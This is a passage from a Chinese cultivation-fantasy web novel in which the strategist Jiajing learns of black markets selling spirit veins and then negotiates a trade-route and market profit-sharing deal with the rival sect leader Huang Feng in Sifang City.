“不过眼下柳老的重心是大型飞梭的打造,小型飞梭其实除了短途赶路,或者是出行冲冲面子,其他的根本没什么用。” “除了一些富贵人,或是宗门高层出行使用,其他人路太远直接用传送阵,路太近就使用飞行法器,没人浪费钱。” “最重要的是,这东西每隔一段时间,还要去梭行做一些阵法检测,换新,维修,一通下来,少说三五百两灵源。” “三五百里路,消耗灵源少说大几十两,这还是像我这种便宜的飞梭,那种更贵,各种法阵开满,消耗都不敢想……” “所以,普通修士,除非是充大款,装面子,要不然都不会考虑这东西……”刘权说着说着,就开始了算账,呲牙咧嘴的。 嘉靖自然明白这其中意思。 大明仙宗,不管怎么说都是有金丹大修士坐镇的中型宗门,颜面上还是要讲排场的。 尤其是这次,还是去跟死对头谈事,自然不能被对方给看轻了。 嗯,修士也是人,也活一张脸! “啧,我买‘秋风起舞’的时候,看到一个也就二十多岁,修为也就练气初期的小姑娘,直接全款买了一艘‘大璇梭行’十年前制造的,天干系,限量版‘天干·庚午飞梭-烈阳神骏’。” “先生,您知道这玩意儿售价多少?”刘权说着,顿时来了精神,兴奋的面红耳赤,道:“听说,整个大角星也就三百艘。” “一艘就卖四百多万两灵源,啧啧……”刘权说着,目视前方,叹息道:“咱大明仙宗上下加起来,也才五十多万……” “咱整个宗门最贵的就是那条低等灵脉了,大约是九品的成色吧……” 听到这里,嘉靖竖起耳朵,听到了他感兴趣的东西。 灵脉是禁止买卖的,但嘉靖相信,任何东西,规则是死的,但人可以非常灵活。 大明若是能多几条灵脉,那可比自己苦哈哈的计划着在修仙界挖土,滋养灵土,人工培育灵田,要来的简单方便的多了。 “有钱人一艘飞梭,就是普通宗派,全部的身家,这东西要是撞在咱们宗门上,估计咱们还要倒赔人家灵源,一次维修就够喝一壶……” 刘权似乎有些仇富,说着说着直接爆粗口,道:“特娘的,时代变了,修仙修的再好,不如投胎投的好!本命差?人家直接用海量的资源弥补本命物,让本命物反哺本命……” “说什么‘仙路漫漫,孰云凡骨,实乃未琢之璞,期以时日,辉映乾坤’,本命物找的好,迟早能出人头地?本命物也要资源打磨!” 看着身旁,浑身上下都散发着悲观气息的刘权,嘉靖心里,倒是没有太大感触。 嗯,如果说硬要有感触的话,那也是前世二十多年的人生阅历,在那个世界,似乎有个词叫,嗯,对,像是叫“牛马”。 形容努力生活的年轻人们。 “灵脉真的不可以私下购买吗?”嘉靖将这些没用的想法,以及刘权的絮叨打断轻声问道。 “灵脉?”正说着的刘权顿时打住,而后神色认真下来,即便是在有法阵笼罩的飞梭里,他还是下意识的四下看了看,压低声道: “当然可以私下购买了!” “不过这东西书院查的太严了,”说着,刘权表情沉凝,道:“先生或许不知道,修仙界除了一些正规的修仙大城,还有野市。” “野市?”听到刘权一副煞有介事的模样,想到这地方可能买卖灵脉,嘉靖顿时来了兴趣。 “野市,就是那种开设在正规城镇之外的坊市,这些坊市一般都是当地修仙宗派,或者是散修势力自发的组建而成。” “一些大宗派还好说,他们会对野市进行管理,经营的跟正规修仙城池的坊市一样。” “而那些散修势力就不一样了,比较混乱,但也正因为混乱,所以什么都交易!” “之前我们打劫那会,”说到打劫,刘权脸上表情有些不自然,不过还是继续道:“所有的赃物都是拿到附近的野市销赃的!” “像是杀人夺宝,毁宗灭族后,不方便出售的东西,都是在野市卖。” “其实在修仙界,想要买卖真正好宝贝,还是要看野市,那些大城都太正规了。” “就拿‘大璇梭行’来说,也有专门的‘牙子’,负责售卖一些飞梭…而在一些大型野市中,就会有人,专门售卖灵脉!” “灵脉在书院的划分下,也分为九品三等。” “九八七品,属于低等!” “六五四品,属于中等!” “三二一品,属于上等!” “像是咱们大明地下的那条灵脉,就是九品低等,书院给开辟战争中有功劳,可以开辟宗门的修士售价偏低一些,只要十五万。” “目的是为了鼓励宗门开辟,像是建筑之类的,都是附赠的,全套下来十八万两……” “不过,宗门是不断增值的,随着宗门的经营,灵气的汇聚,灵脉的梳理,成色是会上涨的,到时候整个宗门价值就更高了!” “哎,这个先不说,九品灵脉,等它进阶成八品,估计没个百八十年不成……” 说着,刘权摆摆手,道:“但你知道,如果将这条灵脉抽出来,在野市开价多少?” “多少?”嘉靖目光沉沉,心中不断的计算着,灵脉,真的有门路买卖! “九品灵脉,野生未经梳理的,五十万!”刘权直接竖起一个巴掌,“梳理后,清理杂质的,按品相成色定价,这一行专门有鉴定的!” “八品,起步百万两,根据成色议价…越往上,售价就更高,高的吓人……”刘权还在念叨,嘉靖心中已经开始盘算了起来。 “野市、灵脉……”想着,嘉靖目视远方一座恢宏的大城,心中暗道: “必须要弄到灵脉!” “……” 第七十六章 四方城!永远别恨你的敌人,那会影响你的判断力! 四方城。 四四方方,正方形。 即使这已经是嘉靖第二次看到四方城了,但每次看的时候,依旧感到非常的震撼。 他的脑海中是有后世北京城大小概念的,可也正是因为如此,所以看到四方城才会震撼。 如果让嘉靖大约来计算的话,四方城等同于后世,两个北京城的大小。乍一看,乍一听,几乎无法想象,这会是有多大,只知道大。 但是在这个修仙的世界,城池大小,都是经过书院计算,并在有心留意的修士心中,清清楚楚的知道,它的详细信息。 四方城,大荒十二座修仙大城之一。 一百二十年前,白马书院通告修仙界,牒文下达,开辟大荒。 之后,东荒在地图上直接被一分为十二等份,这十二点,由书院亲自出手,铸建修仙大城,为开辟战争做先前的准备。 四方城的总占地为四千九百万亩。 一种不知名的特殊石料堆砌而成的城墙,像是一个四方的框子,阳光下闪烁着流光,总长二十一万七千四百四十八丈,高四丈。 远远看去,高低错落的建筑,显得杂乱而不失巍峨与恢宏,除了震撼,还是震撼。 很难想象如此恢宏的建筑群落是人力所能及,不过也确实并不是凡人建造,而是修仙者,还是专门从事建筑的修仙宗派包揽。 越是靠近,灵气就越是浓郁,天地间四面八方所有的灵气,似乎是朝着它靠近。 嘉靖自然知道其中缘故,上次来的时候,刘权跟他说过,四方城底下也有灵脉,同时还有一座“天枢聚灵阵”在汇聚。 这座“天枢聚灵阵”放眼整个大角星,甚至从刘权的介绍中得知,就算是整个修仙界,也是顶尖聚灵阵的一种,品阶高达一品。 是的,聚灵阵同样有品阶划分。 一品的质量最高,九品最低,大概覆盖范围只有一亩地的样子。 “四方城下的灵脉是一品吗?”看着越来越近,那股恢宏气息越发铺面的大城,嘉靖问道。 第一次来的时候,他还是個凡人,刘权只是大概带他逛了逛,并没有太过详细的介绍。 第二次来的时候,介绍了一下这座城的历史,还有一些家族产业分部等等。 像是灵脉,倒是没有细说,当时嘉靖的心思和注意力也并不在这上面,所以就没说。 “一品?”刘权咧嘴笑了笑,抬手捏了个法诀,控制飞梭开始朝着城外落下,“那只是品阶的上限,而不是灵脉成色的上限。” “十二座大城,每一座大城底下,都至少有三条一品高成色灵脉汇聚,同时用天枢聚灵。” “嗡嗡嗡。”飞梭开始震动,缓缓下降,落在城外几百米处,宽三十丈的大道上停下。 “嘿。”刘权咧嘴一笑,“若是有人能把这三条灵脉抽出,放置在一颗死星上,再辅以天枢聚灵阵法,反向调整阵列顺序,钉死灵脉,我估摸着百年内就能让这颗死星复活…到了……” 说完,刘权一个潇洒的起跳,翻身从飞梭翻出,嘉靖也紧跟着纵身跃下。 有些话,说者无意,听者动心。 “让死星复活……”嘉靖看着面前近距离看,越发恢宏,庞大,满是威压,让人有种蝼蚁般心灵震撼之感的城池,心驰神往。 死星,指的是那些没有灵气的星球。 一般这种星球上也会有生灵存在,像是大角星,它是星宿,说的是周围的一组星,周边自然是一些附带的小星辰就是死星。 不过上面依旧有凡人生存,很多有条件的大宗派派遣弟子历练,也都会选择这些死星。 死星上的凡人并不修仙,大多都是练武,或者是普通凡人,同样是受儒家书院统辖。 一些好的苗子,或者是被书院看中的孩子,或者凡人,就会被带到书院培养。 书院招人,是按照星域招收的,只要最好,最特殊的那种,更好的往往全都在书院。 也因此,修仙世界还有一个说法就是,无根之命,若有一线翻身之机,只能是去书院。 但,无根之命又如何呢,就算你再特殊,在书院面前,或许也只是平常尔尔。 更何况,修仙世界太大了,就算是书院,目光也是有限的,不可能照顾到每一寸土地。 “地球也是死星……”想着,嘉靖摁下心中的渴望与火热。 这些可不是现在的自己能奢求的。 越是深入的了解这个浩瀚恢宏的修仙世界,就越是让人对它感到无力。 他需要做的是一步一个脚印,稳扎稳打,慢慢的去经营,好高骛远是万万不能的。 一招手刘权收起飞梭,将其放入储物袋中,而后跟嘉靖一起朝着四方城而去。 白马楼是四方城的“地标性建筑”,它在四方城的中心位置,它并不是最高的,但它却是整个四方城的最中心位置。 白马楼总共有十三层,其实是十二层,因为最上面的第十三层不对外开放。 它总高约三十四丈,基座边长十八丈,基座高三丈,每一层楼的高度将近三丈。屋顶采用的是八角重檐攒尖顶,看起来宏伟而威严。 以它为点,延伸出了十二条宽约八丈的主干道,将四方城切割的井然有序, 一路来到事先定好的白马楼四层包厢。 嘉靖来到房间的主位坐好,刘权则甘愿在旁陪衬,坐在身旁位置。 “先生,这就是黄峰老儿,”刘权拿出自己的那个镜子本命物——大明宝鉴。 嗯,之前,他的本命物名字是“太虚观照”,之后为了契合大明仙宗,就换了个名字,改成了“大明宝鉴”。 毕竟,他的本命物,是能堪破真伪虚妄的,分得清楚修士或者凡人的谎言。 听说他打算将自己的本命物,往“本命映照法器”的路子上打磨,所以这个名字倒也契合。 嘉靖朝着鉴面上看去。 一名满脸白色络腮胡,皮肤微红,头发修剪整齐,眼神阴鸷凶狠的老者身影浮现。 黄峰,黄风谷的掌门人,金丹初期修士。 “这个是黄风谷大长老耿火,筑基中期修为,”刘权说着,语气严肃道:“这孙子脾气火爆,本命物是一把飞剑,算是剑修。” “剑修是所有修士中,攻击力最猛的,也是杀气最大的,筑基中期,甚至可以跟筑基后期一战,黄峰老儿对他很是看重。” “这次的开辟战争中,我曾建议掌门找机会除掉这孙子,都被他数次逃脱……” “嗯。”嘉靖点了点头,将黄风谷的掌门和长老记住,而后收回目光,神色坦然。 “先生,”刘权看着神色坦然的嘉靖,忍不住道:“您打算怎么说服黄峰老儿?” “不忍了?”嘉靖看向刘权,面容微缓。 昨日确定时间后,刘权就几次想开口问自己,但都被他给深深忍住,担心给嘉靖留一个不够沉住气的印象,现在终于还是问出来了。 “嘿,什么都瞒不住先生,”刘权尴尬的仰头一笑,道:“我实在想不通就我们两家关系,黄峰老儿有什么理由能让步。” “这老东西,他巴结上了‘清源仙派’和‘小蜀山仙派’,三家完全可以开辟商道航线,实在是没必要跟我们交易。” “我们应该是没有利益筹码,能打动他们才对。” “我记得你说过,‘清源仙派’的掌门的年龄比黄峰还要大,而且道侣不止一个,为人贪利好色,心胸狭隘,对吗?”嘉靖手指抬了抬。 嘉靖脑海中回想起,出关后,刘权送来的横在大明前路的几个宗派的情报。 闭关前,他曾让刘权去收集过的几大宗派的情报,昨天自己出关后,刘权就把调查到的情报给了嘉靖,‘小蜀山仙派’掌门很年轻。 跟黄风谷的利益捆绑点,就是小儿子被‘小蜀山仙派’的靠山,中原‘蜀山剑宗’带走。 至于跟‘清源仙派’,相当于是联姻。 唯一让嘉靖忌惮的其实是那个看起来没什么危害,却入了白马书院的二女儿。 书院不会干涉宗门争斗,但人情世故这东西,嘉靖可不会认为有这么简单。不过,至少表面上,不需要将这点考虑进去。 “嗯,”刘权点头,“黄峰老儿卖女儿给跟自己年龄差不多的人当道侣,无耻!” “这点足以看出,此人是个利益当先之辈,也是一个合格的上位者,不是吗?”嘉靖语气微缓,“上位者所求不过为家族宗派计!” “若是黄峰仙途真的无望元婴,那么他又是联姻,又是送二女出去,继承他派香火传承……一切终究还是为了利益。” “整个东荒,都是一片新土,”说着,嘉靖语气一顿,道:“新兴宗门,三代掌门内,受书院保护,不会有吞并情况发生。” “只要四方城内的黄家还在,宗门就会有源源不断的新鲜血液流入,壮大。” “他这一代掌门,所作所为就是为了在自己大限之前,为宗门迅速积累财富底蕴。如此,可以顺利平稳的为二代掌门铺路。” “上,有书院中人;中,有中原大宗‘蜀山剑派’做退路;下,可以与此地的‘清源仙派’,‘小蜀山仙派’结盟。” “所以我才说,这是个合格的上位者。” “一个合格的上位者,都是结果导向,利益为重。他注定了会将仇恨放下,拥抱利益。” “嘶!”听完嘉靖说的这些弯弯绕绕,刘权不由吸了口气,又拿出‘大明宝鉴’调出黄峰那张狰狞可怖的老脸,惊诧道: “我小瞧这老东西了,他有这脑子?” 此刻的刘权,颇有一种,大家都是山贼出身,你怎么这么有文化的感觉。 “这个黄峰所作所为,不像是纯粹的山贼能干出来的,”说着嘉靖看向门口,道:“好好去查查,他在当山贼前的背景。” “规则内的厮杀,往往兵不血刃,却吃人不吐骨头,也更为血腥和残酷!” “记住,永远别恨你的敌人,那会影响你的判断力!”嘉靖手指怡然的轻敲着扶手。 “我知道了……”不知不觉,刘权已经站了起来,站在了嘉靖的身旁,面容也严肃了下来,语气也前所未有的认真。 看着身旁坐在椅子上,神色坦然,有条不紊的嘉靖,刘权心中敬佩的同时越发庆幸。 庆幸当初拉拢嘉靖入山寨的决定! “……” 第七十七章 公司法人归你,我只要利润,你赚了! 当初兄弟们“请”回柳源的时候,嘉靖这个躺在路边昏迷的凡人,不过是顺带的。 当初在牢房考校,也并不是要收军师,而是在给家族开辟后,顺便为家族招揽人才。 一个儒家治下的修仙世界,并不缺读书人,尤其是读过书的凡人。 当时他想的其实很简单,稍微考校一二,若是对宗派,家族建立后的建设发展上,此人有独到的见解,那就留下来。 之后干脆就下放到凡人家族,用作给家族内部没开悟的族人弟兄们启蒙,教授道理。 一切都不过是顺手而为,却不想嘉靖表现出的谈吐和气度,都远超一般读书人。 尤其是对方对于御下之道,上位者所行之道的运用和见解,都让他倍感折服。 之后凑巧碰上了三位当家前来,然后大当家独孤英也是个直爽性子,直接开口邀请。 而他,因为本命是面镜子,本身具备那种看破虚妄的功效,因此冥冥中直觉告诉他,此人不简单,或许留下来也不错。 左右不过是慢慢考察而已,是不是真有本事,时间会证明一切。 事实是,嘉靖仅仅半个月就练气二层,这实在是太惊人了,修为上堪称天才。 之后的几次接触上,谈吐,气度,都让他为之一次次的发自内心深处的认同。 可以说,当时一个不确定的意外,造就了今日大明仙宗,在掌门三兄弟当甩手掌柜的情况下的一個绝对依靠! 这也让刘权,对自己的本命,越发的坚信和庆幸了起来,将本命物命名为‘大明宝鉴’的原因,也是期望它能为宗门指引前路! “嘭。”这时,包厢的房门被打开。 刘权跟嘉靖都朝着前方看去,然后就见对面走进来两道身影。 为首的老者,须发皆白,身高大约六尺,体魄魁梧,暗红色的面庞,刚毅而凶横。 不是别人,正是黄风谷掌门,黄峰,一名金丹初期的大修士。 而在他身后,则是一名眼神阴鸷,体格相比于黄峰来说,稍显清瘦一些的中年人。 “刘权!”黄峰看到刘权,双眼一眯,而后看向坐在主位上,神色坦然的嘉靖。 不由的,眼底浮现出一抹异样之色。 “黄峰掌门。”刘权痞子一样的脸上露出一抹笑容,同时看向身旁起身的嘉靖,介绍道:“这位是我大明仙宗的四长老,朱聪先生。” 而后又对嘉靖介绍,道: “先生,这位就是我提过的,黄风谷,黄峰掌门!在他身旁的是黄风谷大长老,耿火!” “黄掌门,耿长老。”嘉靖拱手见礼。 黄峰打量着嘉靖的同时,抬起粗壮的双手抱拳回礼,道:“早听闻黑风寨除了军师刘权外,又得了一名凡人军师,久仰!” 见黄峰明明听到了‘大明仙宗’,却依旧以‘黑风寨’相称,刘权笑容顿了一下,眼神中有危险的神色闪过。 倒不是他忘本,黑风寨毕竟是过去的山寨,如今的大明可是一个中型修仙宗派。对方还以山寨之名相称,明显就是在挑衅了。 不过想到先生刚才的教诲,刘权又收敛情绪,脸上笑容继续恢复。 “黄掌门,请。”嘉靖面上,始终没有情绪变化。 对于黄峰知道自己这点也不意外。 一个合格的掌权者,谈判之前,甚至更早之前,就掌握对手,和周边势力情报是必备的。 单这一点来看,此前同为山寨,黄风谷虽然实力上不如黑风寨,但上位者的谋划比拼中,黄风谷单方面,完胜! 一番客套后,几人分主次而坐。 不过有意思的是,刘权在看到耿火这个大长老没有坐,而是站在黄峰身后,他也没有坐下,而是选择了站在嘉靖的身后。 一张大桌横在中间,只有嘉靖和黄峰二人坐着。 “此人能让刘权甘愿为他做到这种地步,果然不简单!”黄峰自然也注意到了对面站在嘉靖身后,神色坦然的刘权。 黑风寨这伙人,他从未放在眼里。 一群满脑子肌肉,四肢发达的莽汉,就知道打打杀杀的莽汉而已,只要走上正轨,在书院规则之下,他有太多方法玩死他们了。 但是从大明九奏乐章的公示,他就知道,黑风寨或许不是原来的那群莽夫团伙了。 这群人中,出了有脑子的高人! 他第一时间想到的就是那个被当做军师,后直接任命为长老的朱聪! 是的,对于眼前之人,他早就知道,并调查过了,对于此人的唯一来历,他就知道是黑风寨那伙人在半道抢人的时候,顺手捡的。 此外,关于此人的来历,一概不知。 甚至也曾花费一些钱财,去最大的情报行‘风铃阁’购买过,结果也是一无所获,最后也是猜测,可能并非‘大角星’本地人。 如今看来,此人显然是个智囊角色,比刘权还要有脑子,有算计的那种。 一瞬间的心思在脑海中闪过,黄峰心中对嘉靖也重视了起来。 “不知大明找某前来,所谈为何事?”黄峰率先开口。这次他不再以黑风寨相称。 他重视任何一个对手,因此无谓的口舌之利,毫无意义。 “想必黄掌门对我宗已经有了一个清楚的认知,”嘉靖说话间,换了一个舒服的坐姿,道:“如此,我便直说了。” 规则内的博弈,他从未害怕任何人。 黄峰的种种布局手段,在山贼层面来说,确实很有上位者的远见和意识,可在他眼里还不够看,他已看穿了对方的底气。 黄峰,并不像刘权说的那般凶狠,他骨子里透露的,更不是一个纯粹的山贼本性。 这是一个合格的族长,宗派之主,领袖。 “四方城内的利益瓜分有限,每个家族之间,都有自己的领地,不能越线。” “但我大明,可以产出更多的利益,这需要开拓更大的市场,”嘉靖看了眼对面毫无意外之色的黄峰,“我宗开辟的商道航线,需要通过贵宗,希望贵宗可以理解……” “你莫不是忘了我派与贵宗的恩怨,”说着,黄峰脸上露出仇恨之色,“我最看重的弟子,就死在了独孤雄的手中!” “大明与我黄风谷之间已是不死不休,呵……”说着,黄峰眼含讥讽之色,“现在你们想开辟商道航线,你觉得这可能吗?” “这世上,没有放不下的仇恨,”嘉靖并不急,面色始终淡然,“但却有损失的利益,宗派,家族要发展,就离不开资源的供给。” 说着,嘉靖抬手,打断黄峰要说的话,继续道:“大明东边是无涯林,那里有‘御兽门’坐镇,大明会与‘御兽门’达成合作。” “共同出资,开辟野市。” 野市?!听到这话,刘权也下意识的看向嘉靖,不过眼神中的情绪被他掩藏的很好。 他没想到,今天才跟嘉靖说了‘野市’的事情,他这就想到了? 刘权哪里会知道,这是嘉靖临时决定。 至于他原本的筹码,跟野市开辟带来的利润相比,对于黄风谷来说反而不算什么了。 “野市?我们三派也照样可以开辟……”黄峰语气低沉,道:“你的筹码,不够!” “野市的利润,除开‘御兽门’的五成,额外五成利润,你我三七分,”说着,嘉靖又道:“此外大明的野市经营权归黄风谷。” “也就是说我们只要七成的利润,而野市向书院申请所所需费用,全由大明负责。” “相当于是我大明花钱,为你在东边开了一座野市。” “无涯林以东,地处开阔,再远就是茫茫大荒无尽山脉,是天然的‘野市’开辟沃土。” “至于四方城以西,恕我直言,就算开辟了野市,也注定了不会有大利润。野市最大头的利润是什么,想必黄掌门心里清楚。” “而且,以‘清源仙派’和‘小蜀山仙派’的背景,黄掌门认为他们又会如何与你瓜分野市的利润?更别说经营权……” “当野市越来越大,各方势力都会建立坊市,拥有经营权,其中利润又会有多少?” 嘉靖的语气不急不缓,字里行间说的全都是两个字,利润”! 一旁的刘权听着这些,眼皮跳了又跳。不是,这么大的利润,就给了黄风谷? 若是真的能跟‘御兽门’合作,呸,不对,是真的可以跟对方合作开野市。 御兽门虽说自给自足,仗着灵兽培育,不缺市场,可送上的利润,不要白不要! 这是一份长远,可成长性的利益啊! 这在日后要是经营的好了,能肥死!宗门的飞梭完全可以放在野市…先生你糊涂啊! 当然,此时被嘉靖这一番利润不要钱一般输送攻势下,黄峰也迷糊了。 虽然野市大明要抽七成的利润,但他说的没错,这是一份长远,可成长性的利益。 就算是三成,也能把人肥死! 之后,他完全可以再和其他三派,在西边再开辟一个野市,两头吃拿…嘶! 一瞬间,黄峰深邃的眸子里,光泽涌动,不知道在想什么,他承认,自己心动了。 不过,他需要冷静一下,不能就这么草率,冷静,必须要冷静! 一时间,房间里沉默了下来。 嘉靖面色始终平静的看着他,等着。 一双平静的眸子深处,却也潜藏着一份无人可以堪破的计较与危险。 “……” 第七十八章 (加更)成交!刘权的疑惑 许久的沉默,让包厢里的气氛变得压抑。 一旁站在嘉靖身后的刘权,此时心里也已经冷静了下来。 他明白,先生的决定,并没有那么简单。 这一刻刘权这位修为即将筑基的练气后期修士,心头升起一股异样的情绪来。 这种情绪,名为紧张,和迷惘! 不同于生死厮杀带来的感觉,这完全是一种另外的不同体验。 身为散修时,他经历过修士间,秘境历练的残酷厮杀,之后加入‘黑风寨’,与其他散修势力的冲突,死亡等等,并不少。 在他们这些山贼的人生信条里,生存往往伴随着死亡,脑袋是别在裤腰带上的。 一个简单的行为逻辑,刻在他们的脑袋里,那就是能谈就谈,不能谈就干! 生,算我命;死,亦是我命。 他的心,早已被锻炼的将生死之事看的很开了。 就算是面对更高阶的修士,他会畏惧,会因为对方散发的强大威压而臣服,甚至是下跪。 可若是与这等境界的强者同处于秘境,面对某个强大宝物传承时,只要有机会他就会毫不犹豫,毫无敬畏的冲上去,去争夺! 将那个宝物,传承,牢牢攥在手里! 在那些大修士,聪明人眼中,他们这种蝼蚁的些行为,就是不知死活。 但散修,亡命之徒,从不敬畏死亡。 一线之机,带来的就是无限的可能,撑死胆大的饿死胆小的。 不争怎么办?没权没势,当个不知死活的蝼蚁去争,还是当个聪明人冷静一辈子?机会,对他们这种人来说,从来都是抢来的。 生死都能置之度外,还有什么能让他紧张的呢? 可是自从开辟战争开启,申请宗门,身上背负了宗派的责任后,他发现变了。 他感受到了围绕在身边的各种条条框框,对自身的束缚。 这种感觉很不好,却又不知道为何,让他兴奋与渴望,甘之如饴! 他渴望在规则内带着宗门闯出一片天,渴望那种身为大宗派,被人仰望的感觉。 因为他也曾是仰望别人的‘尘埃’。一不小心,就会被那些大宗派,挥手抹去。 现在的一切,都是那么的新奇与刺激。 这是第一次,他感受到了规则内,生存之道下带来的压力,还有那种紧张感,刺激感。 此外,还有迷惘。 他看不清先生要干什么,也看不清这场规则之下的较量,还有先生举手投足间的从容。 头次觉得,利益竟然还能拱手送人,还能这么玩? 这在他的世界观里,不可能的。 嘉靖自然不知道刘权在想什么,他只是在静静的等待着黄峰的回答。 “先生给出的利益很诱人,”半晌后,黄峰酝酿了一下情绪,道:“按照书院规定,谁出钱开辟市场,谁就是市场的主人。” “虽然贵宗将经营权给我们,但整個野市一半决策权,还是属于你大明仙宗,当然这点无法更改,不过都不重要,不说也罢。” “我想说的是,这经营权应该也是与‘御兽门’平分吧?” “自然,我们能做主的,只有自己的那一半市场。”嘉靖微微颔首。 要跟‘御兽门’达成合作,必须要拿出足够的诚意才行,只有实打实的利润可以。 “整个野市的一半经营权,”黄峰说着,手指轻轻敲击着桌面,而后摇摇头,道:“先生开出的价码很诱人,但是太空了……” “野市的经营是长期的过程。” “市场建立之后,各方修士都会观望,大头利益并不会即刻产生,反而要投入更多……” “东边无涯林确实是开辟野市的沃土,但你似乎忘了一点,大荒刚开辟没多久,书院定然会严格管控,野市注定会失去它真正的价值。” “一个正规的市场,先生抽取七成的利润,”黄峰慢吞吞的说着,每句话都在计算着,“而先生,却想以此净赚利润……” “最重要的是,一些想要进入野市的宗派,也必须要得到你大明的认同才行。” “我虽然相信,你肯定会同意,毕竟为了利益,但若是你大明使绊子怎么办?” “不仅如此,等到我们封锁的商道航线打开,以贵宗的飞梭生意,完全可以在四方城之外,甚至整个东南这一片开拓市场。” “甚至你们完全可以在其他地方建立野市,留给我们的,不过是一个可有可无的摊子。” “先生,”黄峰说着,身上散发着一股淡淡的威压,紧盯着嘉靖,沉声道:“空手套白狼,你未免吃相太难看,把老夫当傻子哄了吧。” 站在黄峰身后的耿火,周身隐隐有剑鸣声出现。 原来如此…吗?!听完黄峰的这一番话,刘权心头微怔,不过他还是第一时间拿出“大明宝鉴”,护在嘉靖身边,同时运转修为。 另一只手里,还有一枚玉符。 这是一枚蕴藏着金丹期修士攻击的攻击符箓。 只要对方敢动手,他就会在‘白马楼’内捏爆玉符,届时事闹大了,书院坐镇之人必然会出手。 “黄掌门,”嘉靖抬手制止了刘权的行为,“合作愉快。” 嗯?!听到嘉靖这话,对峙的刘权跟耿火都是一愣,二人周身气机都隐隐停滞了一瞬。 额,先生,人家没答应呢。 刘权下意识的看向嘉靖,先生这是怎么了? “你是听不懂人话吗,老夫没……”黄峰怒视着嘉靖,然而当他对上嘉靖的目光后,脱口而出的话,戛然而止。 这个眼神中透露着的是看穿他目的的神色,还有一丝不容拒绝。 他知道,如果自己拒绝,嘉靖会毫不犹豫的宣告,这次的谈判结束。 但他是真的心动了,整体来看,正如他所说,对方的谋划确实可能存在这种情况。 但这个可能根本站不住脚! 他刚才所说,都不过是一种托词罢了。 这次的谈判,对他来说是无本爆利啊,他什么都不用付出,白得了一座野市的经营权。 而他仅仅只需要让大明的商道航线开辟,不会阻拦,就这么简单。 但他知道,自己并不是大明唯一合作之人。 一旦把大明逼急了,直接跟‘清源仙派’合作,以自己那位‘女婿’的秉性,他相信对方绝对会同意下来,自己还能阻拦不成? 显然,嘉靖是拿捏到,他不会放手到嘴的肥肉这点了。 正如他开始所说,没有放不下的仇恨,只有会损失的利益! “七成利润太多了,”黄峰最终还是话锋一转,看向嘉靖,“五成,最多给你五成。” “而且,你大明不能故意使绊子,阻碍我们在野市的经营。” “我们自然不会干涉经营,但利润只能降到六成,”嘉靖语气平静,但却有种不容置疑的意味,“这是大明的底线。” “成交!”黄峰不再啰嗦,干脆起身。 见此,嘉靖也不托大,起身,面容缓和道:“黄掌门胸襟,令人敬佩。” “先生好手段,某算是记住了。”说完,看向刘权,道:“你大明有朱先生在,是幸运。” 虽然还不知道发生了什么,刘权却是咧嘴一笑,拱拱手道:“黄老,佩服!” “书院批准的野市牒文下达后,黄风谷上空的商道航线便会准时开放……”不想去看刘权那烂人的脸,黄峰又看向嘉靖,道:“届时,需要让独孤英亲自来黄风谷签定血契。” 说完黄峰便离开了,这场谈判正式结束。 “先生。”等包厢里彻底安静下来后,刘权张了张嘴要说什么,又忍住。 “呵,”嘉靖轻笑一声,道:“想问什么就问吧。” 有些事情,自然是要对刘权解释清楚的。 “嗯!”看着嘉靖脸上宽慰的笑容,刘权心头感受到鼓励,当即开口,道: “先生,首先就是黄峰说的……” 刘权一股脑的将自己心中的疑惑,还有嘉靖的真正意图,全都问了出来。 这场谈判,有太多东西,他没看明白了,需要先生给他解惑。 “……” 第七十九章 解惑,我的目标是做灵脉生意!刘权惊了! “先说第一个,”嘉靖抬了抬手指,“你想问,我的目的是不是真如黄峰所说,是在空手套白狼,空许好处?” “而且,黄峰为什么还答应了?” 在刘权的期待下,嘉靖顿了顿又道:“黄峰有这方面的考量是正常的,但这些都是说辞。” “诚然,野市的建立和市场的成熟稳定,需要一定的时间,这个过程会很漫长。” “可大荒刚刚开辟,各方散修势力盘踞,还有中原许多大宗派涌入。” “大荒是一片新地,这里建宗的都是新宗派,我们对书院来说,都是新鲜血液。” “这也就注定了,那些大宗派除了在四方城抢占一些坊市外,是无法开辟野市的。” “因为这会挤压新宗派的生存空间。” 听到嘉靖这么说,刘权微微点头,这是事实,书院是不会允许大宗派这么做的。要真是这样的话,那开辟大荒就没有了意义。 书院要的是新鲜血液,而不是无秩序的扩张。 “因此,一旦野市建立,四方城内,那些代表中原宗派的凡人家族就会入驻。” “开辟战争过后的兴地,难道不会有大量的赃物要出手吗?各地散修也会涌入!” “所以野市会在最短的时间内繁荣起来。”说着,嘉靖看向刘权,问: “刚才黄峰的话提醒了我,野市开辟后,是谁出灵源向书院申请,谁就是野市的主人,有决策权,且这一点无可更改,对吗?” “不错,”刘权认真点头,“这是为了防止那些大宗派,用其他手段欺压小宗门而定。” “只要有野市的决策权在手,小宗派就算让出经营权也没什么关系,只要有这个决策权的制约存在,双方都不会撕破脸。” “因为有决策权就有了是否让那些宗派入驻野市的权力,只要野市主不同意,别人无法进入野市经营,做生意。” “一些拥有决策权的小宗派反而可以什么都不用管,就能赚钱,算是福利了。” “而且,书院还会不时的派人调查。” 嘉靖点了点头,对书院的规定并不意外,毕竟这个漏洞太明显了。 否则,大宗派有太多的方法,让那些小宗派妥协让利了,但意义到底大不大就两说了。 “所以说,野市若是我们跟‘御兽门’共同出钱,就属于我们双方。” “我们把经营权让给‘黄风谷’,既有权力在手作为制约,又能白拿钱。” “当然我们也不会故意卡着不让其他宗派入驻,而黄风谷的利益也不会受损。” “也因此,算是双赢局面,皆大欢喜。” “大荒东南角这一片,三座城,每座城周围,都是一片沃土,而四方城的沃土,却是在无涯林这边,野市的最大的利益是什么?” 说着,嘉靖又看向刘权。 “嘿,”刘权自得一笑,道:“当然是那些各方势力默许,心照不宣的交易了。” 嘉靖点了点头,循序渐进的给刘权解惑。 “野市的存在,是书院规则下的产物,书院是知道的,因为修仙世界,毕竟是弱肉强食,因此一些见不得光的产业存在是必然的。” “书院明白这点,因此野市就出现了。” 听着嘉靖鞭辟入里的分析,刘权暗暗点头,确实如此。野市里头只要不是买卖交易灵脉,某些赃物,都是能在这里头交易的。 尤其是一些中原超级大派控制下的野市,盘根错节,就算是书院都不好管控。 当然,不好管控不意味着没能力管控,而是里头牵扯的利益太大。 这种级别的野市,就连灵脉都有出售。 “回到刚才的问题……”野市的存在,从刘权说起的一刻,嘉靖就明白了是怎么回事。 放在大明,那就是朝廷督造的,允许非法交易的市场,只要不闹到明面上是不会管的。 这点就算是禁售品灵脉也一样。 